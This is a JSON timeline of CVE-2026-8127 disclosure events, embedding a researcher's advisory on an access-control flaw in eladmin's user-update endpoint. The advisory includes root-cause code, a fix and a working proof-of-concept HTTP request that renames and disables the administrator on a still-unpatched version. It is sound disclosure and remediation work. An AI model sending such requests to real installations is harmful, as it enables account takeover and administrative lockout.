{"metadata": {"vulnerability": "CVE-2026-8127", "count": 17, "kinds": {"milestone": 4, "sighting": 2, "kev": 0, "other": 11}, "linked_omitted": 0}, "data": [{"timestamp": "2026-05-07T00:00:00Z", "date_only": false, "value": "2026-05-07T00:00:00.000Z", "kind": "other", "label": "Timeline", "source": "cvelistv5 / VulDB", "record": "CVE-2026-8127", "field": "containers.cna.timeline.0.time", "text": "Advisory disclosed"}, {"timestamp": "2026-05-07T02:00:00Z", "date_only": false, "value": "2026-05-07T02:00:00.000Z", "kind": "other", "label": "Timeline", "source": "cvelistv5 / VulDB", "record": "CVE-2026-8127", "field": "containers.cna.timeline.1.time", "text": "VulDB entry created"}, {"timestamp": "2026-05-07T17:22:53.696Z", "date_only": false, "value": "2026-05-07T17:22:53.696Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2026-8127", "field": "cveMetadata.dateReserved"}, {"timestamp": "2026-05-07T19:27:57Z", "date_only": false, "value": "2026-05-07T19:27:57.000Z", "kind": "other", "label": "Timeline", "source": "cvelistv5 / VulDB", "record": "CVE-2026-8127", "field": "containers.cna.timeline.2.time", "text": "VulDB entry last update"}, {"timestamp": "2026-05-08T02:00:14.462Z", "date_only": false, "value": "2026-05-08T02:00:14.462Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2026-8127", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2026-05-08T02:00:14.462Z", "date_only": false, "value": "2026-05-08T02:00:14.462Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / VulDB", "record": "CVE-2026-8127", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2026-05-08T03:16:25Z", "date_only": false, "value": "2026-05-08T03:16:25Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-7RVC-3RGF-7589", "record": "GHSA-7RVC-3RGF-7589", "field": "database_specific.nvd_published_at", "linked_record": true}, {"timestamp": "2026-05-08T03:16:25.350Z", "date_only": false, "value": "2026-05-08T03:16:25.350", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-8127", "record": "FKIE_CVE-2026-8127", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2026-05-08T03:30:24Z", "date_only": false, "value": "2026-05-08T03:30:24Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-7RVC-3RGF-7589", "record": "GHSA-7RVC-3RGF-7589", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2026-05-08T03:30:24Z", "date_only": false, "value": "2026-05-08T03:30:24Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-7RVC-3RGF-7589", "record": "GHSA-7RVC-3RGF-7589", "field": "modified", "linked_record": true}, {"timestamp": "2026-05-08T05:24:47.507Z", "date_only": false, "value": "2026-05-08T05:24:47.507991Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mlcyirnrqz2k", "record": "CVE-2026-8127", "field": "creation_timestamp", "uuid": "12a7663e-37b1-4961-ad3f-03dbd0ed1b07", "content": "CVE-2026-8127 - eladmin Users API Endpoint UserController.java checkLevel access control\nCVE ID : CVE-2026-8127\n \n Published : May 8, 2026, 3:16 a.m. | 1\u00a0hour, 9\u00a0minutes ago\n \n Description : A vulnerability has been found in eladmin up to 2.7. Impacted is the function checkLev...", "url": "https://bsky.app/profile/cve.skyfleet.blue/post/3mlcyirnrqz2k"}, {"timestamp": "2026-05-08T14:11:46.093Z", "date_only": false, "value": "2026-05-08T14:11:46.093007Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2026-8127", "field": "containers.adp.0.metrics.0.other.content.timestamp"}, {"timestamp": "2026-05-08T14:11:46.093Z", "date_only": false, "value": "2026-05-08T14:11:46.093007Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-8127", "record": "FKIE_CVE-2026-8127", "field": "metrics.ssvcV203.0.ssvcData.timestamp", "linked_record": true}, {"timestamp": "2026-05-08T14:11:52.923Z", "date_only": false, "value": "2026-05-08T14:11:52.923Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2026-8127", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2026-05-08T14:11:52.923Z", "date_only": false, "value": "2026-05-08T14:11:52.923Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2026-8127", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2026-06-17T11:03:31.867Z", "date_only": false, "value": "2026-06-17T11:03:31.867", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-8127", "record": "FKIE_CVE-2026-8127", "field": "lastModified", "linked_record": true}, {"timestamp": "2026-11-19T10:42:21Z", "date_only": false, "value": "2026-11-19T10:42:21.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/meikeneng/569edfac12537410d243611db662a077", "record": "CVE-2026-8127", "field": "creation_timestamp", "uuid": "033058cd-fe48-4fbc-841d-62668c495d15", "content": "# eladmin: missing target-level check in `PUT /api/users` allows a delegated user manager to modify administrators\n\n&gt; **CVE ID:** pending\n\n&gt; **Tested on:** eladmin 2.7 (`master@646c58c`), Spring Boot 2.7.18, JDK 11 (project targets\n&gt; Java 8), `dev` profile, MySQL 8.0.46 + Redis 7, frontend built from source.\n\n## Summary\n\neladmin protects user **deletion** by comparing the caller's role level with the **target\naccount's** level. The user **update** endpoint compares the caller's level with the level of\nthe roles **supplied in the request body** instead. The target account is never loaded.\n\nA delegated user manager holding `user:edit` can therefore send `PUT /api/users` with the id\nof a more privileged account \u2014 including the built-in administrator \u2014 and rename it, disable\nit, change its department and replace its role set. The request is accepted with `204 No\nContent`.\n\n## Affected versions\n\n|                     |                                                              |\n| ------------------- | ------------------------------------------------------------ |\n| Product             | eladmin (JPA edition)                                        |\n| Vendor              | elunez                                                       |\n| Versions            | `&lt;= 2.7` and `master` through commit `646c58c`               |\n| Component           | `eladmin-system` \u2014 `UserController#updateUser`, `UserServiceImpl#update` |\n| CWE                 | CWE-285 (primary), CWE-639                                   |\n| CVSS 3.1            | `AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` \u2192 **8.1**              |\n| Required permission | `user:edit`                                                  |\n| Precondition        | a delegated user manager; default single-administrator installs are not affected |\n| User interaction    | none                                                         |\n\n## Root cause\n\n### 1. `checkLevel` validates the request body, not the target\n\n```java\n// UserController.java:118-126\n@Log(\"\u4fee\u6539\u7528\u6237\")\n@PutMapping\n@PreAuthorize(\"@el.check('user:edit')\")\npublic ResponseEntity updateUser(@Validated(User.Update.class) @RequestBody User resources)\n        throws Exception {\n    checkLevel(resources);          // only the *submitted* roles are inspected\n    userService.update(resources);\n    return new ResponseEntity&lt;&gt;(HttpStatus.NO_CONTENT);\n}\n```\n\n```java\n// UserController.java:203-209\nprivate void checkLevel(User resources) {\n    Integer currentLevel = Collections.min(roleService.findByUsersId(SecurityUtils.getCurrentUserId())\n            .stream().map(RoleSmallDto::getLevel).collect(Collectors.toList()));\n    Integer optLevel = roleService.findByRoles(resources.getRoles());   // roles from the request\n    if (currentLevel &gt; optLevel) {\n        throw new BadRequestException(\"\u89d2\u8272\u6743\u9650\u4e0d\u8db3\");\n    }\n}\n```\n\nSupplying the caller's own role (level 3) makes `optLevel = 3`; with `currentLevel = 3` the\ncheck `3 &gt; 3` is false and the request proceeds. `resources.getId()` \u2014 the account actually\nbeing modified \u2014 never participates.\n\nTwo details widen the gap:\n\n- `RoleServiceImpl#findByRoles` returns `Integer.MAX_VALUE` for an empty set, so\n  `\"roles\": []` passes the check unconditionally;\n- `User.roles` has no bean-validation constraint, so an empty set is accepted.\n\n### 2. The service applies every mutable field\n\n```java\n// UserServiceImpl.java:103-145 (abridged)\nUser user = userRepository.findById(resources.getId()).orElseGet(User::new);\n...\nif (!resources.getEnabled()) {\n    onlineUserService.kickOutForUsername(resources.getUsername());   // new username\n}\nuser.setUsername(resources.getUsername());\nuser.setEmail(resources.getEmail());\nuser.setEnabled(resources.getEnabled());\nuser.setRoles(resources.getRoles());          // replaces the target's roles outright\nuser.setDept(resources.getDept());\nuser.setJobs(resources.getJobs());\nuser.setPhone(resources.getPhone());\nuser.setNickName(resources.getNickName());\nuser.setGender(resources.getGender());\nuserRepository.save(user);\ndelCaches(user.getId(), user.getUsername());  // new username\n```\n\nThe only constraints are uniqueness checks on `username`, `email` and `phone`. The target's\nown current values pass; any unused value also passes.\n\n### 3. For contrast: `deleteUser` correctly validates the target account\n\n```java\n// UserController.java:139-153\n@DeleteMapping\n@PreAuthorize(\"@el.check('user:del')\")\npublic ResponseEntity deleteUser(@RequestBody Set ids){\n    for (Long id : ids) {\n        Integer currentLevel = Collections.min(roleService.findByUsersId(SecurityUtils.getCurrentUserId())\n                .stream().map(RoleSmallDto::getLevel).collect(Collectors.toList()));\n        Integer optLevel = Collections.min(roleService.findByUsersId(id)      // target's roles\n                .stream().map(RoleSmallDto::getLevel).collect(Collectors.toList()));\n        if (currentLevel &gt; optLevel) {\n            throw new BadRequestException(\"\u89d2\u8272\u6743\u9650\u4e0d\u8db3\uff0c\u4e0d\u80fd\u5220\u9664\uff1a\" + userService.findById(id).getUsername());\n        }\n    }\n    userService.delete(ids);\n    return new ResponseEntity&lt;&gt;(HttpStatus.OK);\n}\n```\n\nThe same controller also pins the self-service profile endpoint to the caller\n(`centerUser`). The omission is specific to the update path.\n\n## Proof of concept\n\n### Accounts\n\n| Account  | user_id | Role                           | level | Authorities                          |\n| -------- | ------- | ------------------------------ | ----- | ------------------------------------ |\n| `admin`  | 1       | administrator (`is_admin = 1`) | 1     | all                                  |\n| `hunter` | 4       | `mgmt` (role 7)                | 3     | `user:list`, `user:edit`             |\n| `deleg`  | 6       | `deleg` (role 9)               | 3     | `user:list`, `user:edit`, `user:del` |\n\n`hunter` is the attacker and `admin` the target; `deleg` is used only for the delete control.\n\nAll tokens are obtained through the normal login flow (captcha + RSA-encrypted password).\n`` and `` below are the token values without the `Bearer ` prefix.\n\nBefore the attack, the administrator's user-management page is normal:\n\n\n\nThe two controls below use accounts at the same level (3). They show that the level mechanism\nworks elsewhere: the update bypass is a missing **target** check, not an absent authorization\ncheck.\n\n### Control A \u2014 deleting the administrator is blocked (as `deleg`)\n\n`deleg` holds `user:del`, so this control reaches the target-level check:\n\n```http\nDELETE /api/users HTTP/1.1\nHost: 127.0.0.1:8000\nAuthorization: Bearer \nContent-Type: application/json\nUser-Agent: Mozilla/5.0\n\n[1]\n```\n\n```http\nHTTP/1.1 400 Bad Request\n\n{\"message\":\"\u89d2\u8272\u6743\u9650\u4e0d\u8db3\uff0c\u4e0d\u80fd\u5220\u9664\uff1aadmin\",\"status\":400}\n```\n\n`deleteUser` reads the target's level (1): `3 &gt; 1`, rejected.\n\n**Purpose of this control:** it proves that the target-level check works on the delete path \u2014\nthe check exists and reads the right account.\n\n### Control B \u2014 self-escalation is blocked (as `hunter`)\n\n`hunter` holds only `user:edit`; it submits the level-1 administrator role for its own account:\n\n```http\nPUT /api/users HTTP/1.1\nHost: 127.0.0.1:8000\nAuthorization: Bearer \nContent-Type: application/json\nUser-Agent: Mozilla/5.0\n\n{\n  \"id\": 4,\n  \"username\": \"hunter\",\n  \"nickName\": \"hunter\",\n  \"email\": \"hunter@local.test\",\n  \"phone\": \"13900000002\",\n  \"enabled\": true,\n  \"roles\": [{\"id\": 1}],\n  \"dept\": {\"id\": 2},\n  \"jobs\": []\n}\n```\n\n```http\nHTTP/1.1 400 Bad Request\n\n{\"message\":\"\u89d2\u8272\u6743\u9650\u4e0d\u8db3\",\"status\":400}\n```\n\nThe submitted role is level 1: `3 &gt; 1`, rejected.\n\n**Purpose of this control:** it proves that `checkLevel` runs and rejects a more privileged\nrole. The defect is the value it compares \u2014 the submitted role, not the target account.\n\n### Attack \u2014 modifying the administrator (as `hunter`)\n\n```http\nPUT /api/users HTTP/1.1\nHost: 127.0.0.1:8000\nAuthorization: Bearer \nContent-Type: application/json;charset=UTF-8\nUser-Agent: Mozilla/5.0\n\n{\n  \"id\": 1,\n  \"username\": \"admin_pwned\",\n  \"nickName\": \"admin_pwned\",\n  \"email\": \"201507802@qq.com\",\n  \"phone\": \"18888888888\",\n  \"enabled\": false,\n  \"roles\": [{\"id\": 7}],\n  \"dept\": {\"id\": 2},\n  \"jobs\": []\n}\n```\n\n```http\nHTTP/1.1 204 No Content\n```\n\nThe submitted roles are the attacker's own role 7 (level 3): `3 &gt; 3` is false. The target's\nlevel 1 is never read. The `email` and `phone` values must not belong to another account;\nthe target's current values are used here.\n\nResulting database state:\n\n```\nuser_id | username    | enabled | is_admin | role_id\n1       | admin_pwned | 0       | 1        | 7        (level 3)\n```\n\nAfter the attack, an account with `user:list` sees the administrator row renamed and\ndisabled:\n\n\n\n### What the request can change\n\n`UserServiceImpl.update()` copies every mutable field from the payload:\n\n| Field         | Effect                                                       |\n| ------------- | ------------------------------------------------------------ |\n| `username`    | Login name; changes audit and log attribution                |\n| `nickName`    | Display name                                                 |\n| `email`       | Contact address (must be unique)                             |\n| `phone`       | Phone number (must be unique)                                |\n| `enabled`     | Disable the account                                          |\n| `roles`       | Replace the role set \u2192 permissions, menus, data scope and role level |\n| `dept`        | Department (affects data scope)                              |\n| `jobs`        | Job assignment                                               |\n| `gender`      | Profile field                                                |\n| `password`    | **Not modified** by this endpoint                            |\n| `is_admin`    | **Not modified**; the synthetic `admin` authority survives   |\n| avatar fields | **Not modified** by this endpoint                            |\n\nRequired fields in the request: `id`, `username`, `nickName`, `email`, `phone`, `enabled`.\n\n### UI after the attack\n\nThe renamed account keeps role 7, whose menu tree has no parent `system` entry, so the\nfrontend generates no `/system/user` route. An account with that role set (here `hunter`)\ngets a 404:\n\n\n\nThis is a routing artifact, not an authorization boundary: the administrator's existing\ntoken still calls `GET /api/roles/all` successfully because `is_admin = 1` keeps the\nsynthetic `admin` authority.\n\n## Impact\n\n- **Modification of higher-privileged accounts.** A delegated user manager can rename,\n  disable, change the department of and replace the roles of any account, including the\n  built-in administrator.\n- **Administrative lockout (availability).** Disabling the only administrator leaves the\n  installation without a usable administrator until the account is repaired in SQL; renaming\n  it also invalidates the old username (the login cache may keep it working for \u2248 6 h).\n- **Audit-trail confusion.** Renaming the administrator breaks tooling, monitoring and log\n  attribution keyed on the username.\n- **Second-order escalation when `user:del` is also held.** After the target's roles are\n  replaced with the attacker's level-3 role, `deleteUser` computes `3 &gt; 3 == false` and its\n  level check no longer protects the account. The `user:del` permission is still required.\n- **Role replacement for non-built-in privileged accounts.** For accounts whose authority\n  comes from a level-1 role and `is_admin = 0`, replacing the role set genuinely removes\n  their permissions.\n\n### Caveats\n\n- **`is_admin` survives.** `UserServiceImpl.update` does not copy `is_admin`.\n  `RoleServiceImpl#buildPermissions` returns the synthetic `admin` authority whenever\n  `is_admin` is true, so the built-in administrator keeps full backend authorization even\n  after its roles are replaced. The reliable effects are the rename and the disable.\n- **Disable is delayed.** `UserDetailsServiceImpl#loadUserByUsername` reads\n  `user-login-cache:` before checking `enabled`, so a disabled account can still\n  log in with a username whose cache entry predates the change, until that entry expires\n  (TTL \u2248 6\u20136.5 h).\n- **Password unchanged.** The update path does not copy `password`.\n\n## Remediation\n\n### 1. Validate the target's level, mirroring `deleteUser`\n\n```java\nprivate void checkLevel(User resources) {\n    Integer currentLevel = Collections.min(roleService.findByUsersId(SecurityUtils.getCurrentUserId())\n            .stream().map(RoleSmallDto::getLevel).collect(Collectors.toList()));\n    Integer optLevel = roleService.findByRoles(resources.getRoles());\n    if (currentLevel &gt; optLevel) {\n        throw new BadRequestException(\"\u89d2\u8272\u6743\u9650\u4e0d\u8db3\");\n    }\n\n    // NEW: the target account must not be more privileged than the caller\n    if (resources.getId() != null) {\n        UserDto target = userService.findById(resources.getId());\n        Integer targetLevel = Collections.min(roleService.findByUsersId(target.getId())\n                .stream().map(RoleSmallDto::getLevel).collect(Collectors.toList()));\n        if (currentLevel &gt; targetLevel) {\n            throw new BadRequestException(\"\u89d2\u8272\u6743\u9650\u4e0d\u8db3\uff0c\u4e0d\u80fd\u4fee\u6539\uff1a\" + target.getUsername());\n        }\n    }\n}\n```\n\n### 2. Reject empty role sets and self-escalation\n\n- Require `resources.getRoles()` to be non-empty (otherwise `findByRoles` returns\n  `Integer.MAX_VALUE` and bypasses the check).\n- Do not allow a caller to change its own roles or `enabled` through this endpoint; require\n  a separate `user:grant` permission or a higher-privileged actor.\n\n### 3. Invalidate caches by the old username as well\n\n```java\nString oldUsername = user.getUsername();\n...\nuser.setUsername(resources.getUsername());\n...\nif (!oldUsername.equals(user.getUsername())) {\n    onlineUserService.kickOutForUsername(oldUsername);\n    userCacheManager.cleanUserCache(oldUsername);\n}\ndelCaches(user.getId(), user.getUsername());\n```\n\n### 4. Regression test\n\nA level-3 caller must receive `400/403` when it targets a level-1 account, both for\n`PUT /api/users` and for the empty-`roles` variant.\n\n## Prior art\n\n| Reference                                                    | Scope                                                        | Difference                                                   |\n| ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ |\n| CVE-2026-8127 / [issue #897](https://github.com/elunez/eladmin/issues/897) | `checkLevel` in `createUser`; `isAdmin` mass assignment      | The `isAdmin` mass assignment was fixed in `UserServiceImpl.create` with `setIsAdmin(false)`; the update path was not changed |\n| CVE-2026-111604                                              | `PUT/DELETE /api/users` missing **department data scope**    | Different check; this report concerns the **role level** of the target |\n| [Issue #912](https://github.com/elunez/eladmin/issues/912) (closed) | JWT `userId` not bound to the Redis session; a forged token makes `checkLevel` see the administrator's level | The same endpoint is reached by forging `userId`; this report keeps a legitimate level-3 token, so `checkLevel` still sees level 3, and the bypass is the submitted role vs the unread target |\n| [Issue #898](https://github.com/elunez/eladmin/issues/898) (closed) | `PUT /api/roles` checked the submitted level instead of the stored role's level | Fixed on the role endpoint by also checking the stored level; the user-update path was not changed |\n\n## References\n\n- [UserController.java#L118-L209](https://github.com/elunez/eladmin/blob/646c58c30f2e9aecf998b054f05f4d9ba0008995/eladmin-system/src/main/java/me/zhengjie/modules/system/rest/UserController.java#L118-L209) \u2014 `updateUser`, `deleteUser`, `checkLevel`\n- [UserServiceImpl.java#L103-L145](https://github.com/elunez/eladmin/blob/646c58c30f2e9aecf998b054f05f4d9ba0008995/eladmin-system/src/main/java/me/zhengjie/modules/system/service/impl/UserServiceImpl.java#L103-L145) \u2014 `update`\n- [RoleServiceImpl.java#L162-L194](https://github.com/elunez/eladmin/blob/646c58c30f2e9aecf998b054f05f4d9ba0008995/eladmin-system/src/main/java/me/zhengjie/modules/system/service/impl/RoleServiceImpl.java#L162-L194) \u2014 `findByRoles`, `buildPermissions`\n- [UserDetailsServiceImpl.java#L45-L64](https://github.com/elunez/eladmin/blob/646c58c30f2e9aecf998b054f05f4d9ba0008995/eladmin-system/src/main/java/me/zhengjie/modules/security/service/UserDetailsServiceImpl.java#L45-L64) \u2014 cache-first login\n- [AuthorityConfig.java#L36-L41](https://github.com/elunez/eladmin/blob/646c58c30f2e9aecf998b054f05f4d9ba0008995/eladmin-common/src/main/java/me/zhengjie/config/AuthorityConfig.java#L36-L41) \u2014 `admin` authority shortcut\n\n## Credits\n\nReported by `meikeneng` (GitHub).", "url": "https://gist.github.com/meikeneng/569edfac12537410d243611db662a077"}], "metrics": {"as_of": "2026-11-20T05:08:29.836Z", "anchors": {"origin": {"timestamp": "2026-05-08T02:00:14.462Z", "date_only": false, "value": "2026-05-08T02:00:14.462Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2026-8127", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "discovery": null, "report": null, "acknowledgement": null, "disclosure": {"timestamp": "2026-05-08T02:00:14.462Z", "date_only": false, "value": "2026-05-08T02:00:14.462Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2026-8127", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "exploit_publication": null, "exploitation": null, "patch": null}, "vendor_response_time": {"available": false, "missing": ["start", "end"]}, "time_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit_publication": {"available": false, "missing": ["end"]}, "time_to_patch": {"available": false, "missing": ["start", "end"]}, "total_time_to_patch": {"available": false, "missing": ["start", "end"]}, "disclosure_to_patch": {"available": false, "missing": ["end"]}, "time_unpatched": {"available": true, "seconds": 16945695.374718, "hours": 4707.137604088333, "days": 196.13073350368055, "min_seconds": 16945695.374718, "max_seconds": 16945695.374718, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2026-05-08T02:00:14.462Z", "date_only": false, "value": "2026-05-08T02:00:14.462Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2026-8127", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2026-11-20T05:08:29.836Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploitation_to_patch": {"available": false, "missing": ["start"]}, "exploit_publication_to_patch": {"available": false, "missing": ["start"]}}}
